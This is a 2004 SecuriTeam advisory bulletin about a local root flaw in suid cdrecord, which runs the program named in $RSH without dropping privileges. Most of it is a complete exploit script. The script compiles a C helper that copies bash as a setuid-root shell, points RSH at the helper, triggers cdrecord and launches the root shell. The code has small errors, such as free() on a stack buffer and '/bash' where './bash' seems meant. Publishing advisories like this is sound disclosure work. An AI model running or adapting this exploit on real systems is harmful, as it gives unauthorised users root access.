

# [EXPL] Cdrecord RSH SUID Shell Creation

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-09/0025.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 09/14/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 14 Sep 2004 13:43:48 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Cdrecord RSH SUID Shell Creation

---

## SUMMARY

Max Vozeler found that the

<<http://www.fokus.gmd.de/research/cc/glone/employees/joerg.schilling/private/cdrecord.html>> cdrecord program, which can be installed as suid root, fails to drop euid=0 when it exec()s a program specified by the user through the \$RSH environment variable. This can be abused by a local attacker to obtain root privileges.

## DETAILS

This shell script writes out and compiles a C application which sets it's UID to it's EUID and copies a SUID shell to the current directory, compiles it, then uses cdrecord's use of the \$RSH environment variable to execute it. It then cleans up it's mess and executes the shell for convenience.

\*Note: This exploit is written assuming your target shell is bash

Max Vozeler is credited with discovering this vulnerability as stated in the <<http://lwn.net/Alerts/101255/>> Mandrake Linux security advisory MDKSA-2004:091.

Exploit Code:

```
#!/bin/bash
```

## Securiteam: [EXPL] Cdrecord RSH SUID Shell Creation

```
#  
# cdrecord-suidshell.sh - Iruid [CAU] (09.2004)  
#  
# Exploits cdrecord's exec() of $RSH before dropping privs  
#
```

```
cat > ./cpbinbash.c << __EOF__  
#include <stdio.h>  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <fcntl.h>  
  
main( int argc, char *argv[] ) {  
    int fd1, fd2;  
    int count;  
    char buffer[1];  
  
    /* Set ID's */  
    setuid( geteuid() );  
    setgid( geteuid() );  
  
    /* Copy the shell */  
    if ((fd1=open( "/bin/bash", O_RDONLY))<0)  
        return -1;  
    if ((fd2=open( "./bash", O_WRONLY|O_CREAT))<0)  
        return -1;  
    while((count=read(fd1, buffer, 1)))  
        write(fd2, buffer, count);  
    free(buffer);  
    close( fd1 );  
    close( fd2 );  
  
    /* Priv the shell */  
    chown( "./bash", geteuid(), geteuid() );  
    chmod( "./bash", 3565 );  
}  
__EOF__
```

```
cc ./cpbinbash.c -o ./cpbinbash
```

```
# Set up environment  
export RSHSAVE=$RSH  
export RSH=./cpbinbash
```

```
# Sploit  
cdrecord dev= REMOTE:CAU:1,0,0 -
```

```
# Cleanup  
rm cpbinbash*  
export RSH=$RSHSAVE  
export RSHSAVE=
```

Securiteam: [EXPL] Cdrecord RSH SUID Shell Creation

```
# Use our suid bash  
/bash -p
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:druid@caughq.org> D)ruid.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.